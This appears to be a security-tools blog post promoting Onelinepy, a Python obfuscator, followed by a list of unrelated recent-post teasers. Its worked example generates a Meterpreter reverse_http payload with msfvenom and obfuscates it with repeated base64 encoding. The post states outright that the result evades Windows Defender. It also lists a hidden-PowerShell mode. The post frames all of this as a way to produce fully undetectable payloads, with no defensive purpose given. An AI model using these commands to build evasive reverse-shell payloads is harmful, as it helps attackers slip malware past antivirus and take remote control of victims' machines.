Onelinepy : Python Obfuscator To Generate One-Liners And FUD Payloads

Onelinepy is a Python Obfuscator To Generate One-Liners And FUD Payloads.

Download & Run

git clone https://github.com/spicesouls/onelinepy
cd onelinepy
chmod +x setup.sh
./setup.sh
onelinepy

Usage Guide

_ | || _ _
| . | | –| | | | –| . | | | Python
|||||||||| | | Obfustucator |_| ||
usage: oneline.py [-h] [-m M] [-i I] [–script SCRIPT] [–code CODE] [–list] [–output OUTPUT]
optional arguments:
-h, –help show this help message and exit
-m M Obfustucating Method (i.e, -m /one_line/base64)
-i I Iterations For Obfustucation.
–script SCRIPT File path of Python file to Obfustucate.
–code CODE Python code to Obfustucate.
–list List Obfustucating Methods.
–output OUTPUT Output File.

Example: Creating FUD Meterpreter Python Payload
  • Generate Python Payload:

msfvenom --payload python/meterpreter_reverse_http LHOST=... LPORT=... > payload.txt

  • Obfustucate Payload

onelinepy -m /one_line/base64 --script payload.txt -i 3 --output obfustucated_payload.txt

  • Profit! The Obfustucated Payload works against Windows Defender.

More Examples

onelinepy -m /one_line/base64 –script payload.py -i 3

onelinepy -m /one_line/hex –code “print(‘HEX!’)”

Obfustucation Method List

_ | || _ _
| . | | –| | | | –| . | | | Python
|||||||||| | | Obfustucator |_| ||
Obfustucators ( * = May cause Syntax Errors )
-=============-
0 /one_line/hex
1 /one_line/base64
2 /one_line/base32
3 /one_line/gunzip*
4 /one_line/rot13*
5 /cmd/command
6 /cmd/powershell
7 /cmd/powershellhidden

R K

Recent Posts

Starship : Revolutionizing Terminal Experiences Across Shells

Starship is a powerful, minimal, and highly customizable cross-shell prompt designed to enhance the terminal…

1 day ago

Lemmy : A Decentralized Link Aggregator And Forum For The Fediverse

Lemmy is an innovative, open-source platform designed for link aggregation and discussion, providing a decentralized…

1 day ago

Massive UX Improvements, Custom Disassemblers, And MSVC Support In ImHex v1.37.0

The latest release of ImHex v1.37.0 introduces a host of exciting features and improvements, enhancing…

1 day ago

Ghauri : A Powerful SQL Injection Detection And Exploitation Tool

Ghauri is a cutting-edge, cross-platform tool designed to automate the detection and exploitation of SQL…

1 day ago

Writing Tools : Revolutionizing The Art Of Writing

Writing tools have become indispensable for individuals looking to enhance their writing efficiency, accuracy, and…

1 day ago

PatchWerk : A Tool For Cleaning NTDLL Syscall Stubs

PatchWerk is a proof-of-concept (PoC) tool designed to clean NTDLL syscall stubs by patching syscall…

2 days ago